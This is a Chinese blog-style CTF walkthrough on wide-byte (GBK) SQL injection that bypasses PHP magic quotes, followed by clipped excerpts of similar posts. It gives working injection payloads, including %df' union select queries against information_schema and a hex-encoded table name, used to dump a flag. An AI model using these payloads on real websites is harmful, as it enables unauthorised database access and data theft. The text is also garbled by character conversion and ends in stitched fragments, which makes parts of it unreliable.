在php中有這樣乙個函式:
magic_quotes_gpc
它的作用就是將你輸入的特殊字元前面統統加乙個 \ 符號
在看下面這條語句之前,我們首先需要知道。
\' 只能和\'進行閉合
下面這個語句,顯然不能將 1 進行閉合。而是將 \ 當成了乙個字串。後面的單引號把後面的給後面的給閉合了。
select * from admin where id=
'1\' union select -- + '
而遇到魔術引號這哥函式,我們有2種方法,下面就來介紹寬位元組注入
上面我們已經知道了魔術引號的作用了,是將特殊字元前加乙個 \ 符號,這樣就不能閉合了。
而我們想要sql注入的話,就必須閉合才能sql注入。
前提條件:
資料庫必須是其他編碼,比如utf-8 , gbk ,不能是英語編碼(ascii)就行
然後我們知道 \ 的編碼為 5c 也就是乙個字元,而gbk編碼是佔2個字元,utf-8編碼是佔3個字元,
這裡我們就以 gbk編碼來舉列子,5c加上另乙個字元就可以組成乙個漢字,比如 d55c 就可以組成乙個繁體漢字「誠」
而我們這裡是url傳參,所以是 %d5%5c
為了繞過轉義,成功閉合,只是在前面有這一點不同,其餘都是以前的知識。
%df' and 1=1 -- + 回顯正常
%df' and 1=2 -- + 回顯錯誤
說明存在sql注入,而且是寬位元組注入
判斷字段數
%df' order by 3 -- + 回顯正常
%df' order by 4 -- + 回顯錯誤,那就說明有3個字段
判斷回顯位
從上面我們知道有2個回顯位
那麼現在就來判斷資料庫版本和當前資料庫
聯合查詢當前資料庫裡的表
這裡我就不過多介紹一些資料庫函式了,在顯錯注入(一)裡有介紹
聯合查詢表裡的字段
在這裡我們很明顯是為了拿flag,那麼就選第乙個表,其他的表就不多測試了
因為這裡有魔術引號,所以不能寫特殊符號,所以下面這個是錯的,後面有特殊符號(單引號)
%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='china_flag' -- +
第一種方法:那麼就不選錶,全部輸出
第二種方法:如果硬要選擇表的話,那就是
第三種方法:因為資料庫認識16進製制,那麼我們查詢出表之後,就把表的字元轉成16進製制。
**位址
0x是16進製制的標識
%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database(
) and table_name=0x6368696e615f666c6167 -- +
聯合查詢表裡的字段
%df' union select 1,2,group_concat(c_flag) from china_flag -- +
好了,成功拿到flag! 寬位元組注入
大家都知道 df 被php轉義 開啟gpc 用addslashes函式,或者icov等 單引號被加上反斜槓 變成了 df 其中 的十六進製制是 5c 那麼現在 df df 5c 27,如果程式的預設字符集是gbk等寬位元組字符集,則mysql用gbk的編碼時,會認為 df 5c 是乙個寬字元,也就是...
寬位元組注入
在使用php連線mysql的時候,當設定 set character set client gbk 時會導致乙個編碼轉換的問題,也就是我們熟悉的寬位元組注入,當存在寬位元組注入的時候,注入引數裡帶入 df 27,即可把 5c 吃掉,舉個例子。當提交 1 1 23 時,mysql的執行的sql語句為 ...
寬位元組注入
這個md的 是我之前做南郵的一道sql注入題目,我實在是調動目前所學的sql注入知識沒做出來,一直搞不懂將 轉義為 因此去網上看了一下wp,是考寬位元組注入,於是在網上找了教程學習一下,這個文章只是為了記錄一下自己的學習過程,不喜勿噴,有錯希望指正 寬位元組注入指的是mysql資料庫在使用寬位元組 ...